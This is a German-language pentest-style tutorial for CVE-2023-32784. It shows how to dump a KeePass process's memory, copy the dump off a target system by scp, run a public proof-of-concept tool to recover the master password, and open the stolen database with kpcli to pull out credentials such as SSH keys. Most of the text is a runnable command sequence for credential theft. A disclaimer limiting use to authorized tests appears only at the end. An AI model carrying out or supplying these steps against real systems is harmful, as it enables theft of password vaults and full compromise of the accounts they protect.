KeePass Master Password Extraction via Memory Dump

Diese Anleitung beschreibt, wie mithilfe eines Speicher-Dumps und eines speziell entwickelten Tools ein KeePass-Master-Passwort extrahiert werden kann. Grundlage ist eine bekannte Schwachstelle (CVE-2023-32784), bei der eingetippte Zeichen im Speicher rekonstruiert werden können.

Betroffene Versionen:

  • KeePass 2.00 bis 2.53.x – inklusive 2.53.1, getestet unter Windows und Linux .

Nicht betroffen:

  • KeePass ab 2.54

  • KeePassXC, KeePass 1.x und mobile Clients


Background: CVE-2023-32784

KeePass speichert bei jeder Eingabe eines Zeichens temporär den Zwischenstand des Passworts im Speicher. Für das Passwort Password entstehen so u.a. diese Fragmente im Speicher:

•a
••s
•••s
••••w
•••••o
••••••r
•••••••d

Ein Proof-of-Concept (PoC) Tool scannt ein Speicherabbild nach diesen Mustern und schlägt mögliche Passwörter vor.


Schritt 1: KeePass Dump erstellen (unter Windows)

  1. Öffne den Task-Manager

  2. Rechtsklick auf KeePass-Prozess„Abbilddatei erstellen“

  3. Die Dump-Datei wird z. B. unter %TEMP% gespeichert

  4. Übertrage sie mit scp oder USB auf dein Linux-System

scp benutzer@zielsystem:/Pfad/zur/KeePassDumpFull.dmp .

Schritt 2: .NET SDK 7.0 unter Linux installieren

wget https://builds.dotnet.microsoft.com/dotnet/Sdk/7.0.410/dotnet-sdk-7.0.410-linux-x64.tar.gz
mkdir -p $HOME/dotnet
tar zxf dotnet-sdk-7.0.410-linux-x64.tar.gz -C $HOME/dotnet

export DOTNET_ROOT=$HOME/dotnet
export PATH=$PATH:$HOME/dotnet

Prüfe die Installation:

dotnet --version
# Erwartet: 7.0.410

Schritt 3: Tool zur Passwortextraktion ausführen

git clone https://github.com/vdohney/keepass-password-dumper.git
cd keepass-password-dumper
dotnet run /pfad/zur/KeePassDumpFull.dmp

Beispielausgabe:

Found probable password: dgrød med fløde

Falls zusätzlich eine Liste aller möglichen Kombinationen generiert werden soll:

dotnet run /pfad/zur/KeePassDumpFull.dmp /pfad/zu/passwords.txt

Schritt 4: KeePass-Datenbank öffnen mit kpcli

Installation

sudo apt-get install kpcli -y

Nutzung

kpcli
open /pfad/zur/database.kdbx
# Passwort eingeben: z. B. rødgrød med fløde

Wenn dgrød med fløde nicht funktioniert, ist es wahrscheinlich ein Tippfehler – durch logische Korrektur des Ergebnisses (z. B. aus Google „rødgrød med fløde“) lässt sich das Passwort oft erraten.

ls
cd Network
ls
show 0 -f

Du kannst daraus z. B. PuTTY-kompatible SSH-Keys extrahieren.


Fazit

Diese Methode zeigt, wie gefährlich unsicheres Memory Handling bei Passwortfeldern ist. Der Angriff ist realistisch in Post-Exploitation-Szenarien und kann zur vollständigen Kompromittierung führen. Tools wie kpcli helfen bei der Validierung und Analyse der gewonnenen Zugangsdaten.

Verwende diese Methode ausschließlich in autorisierten Testumgebungen!

Last updated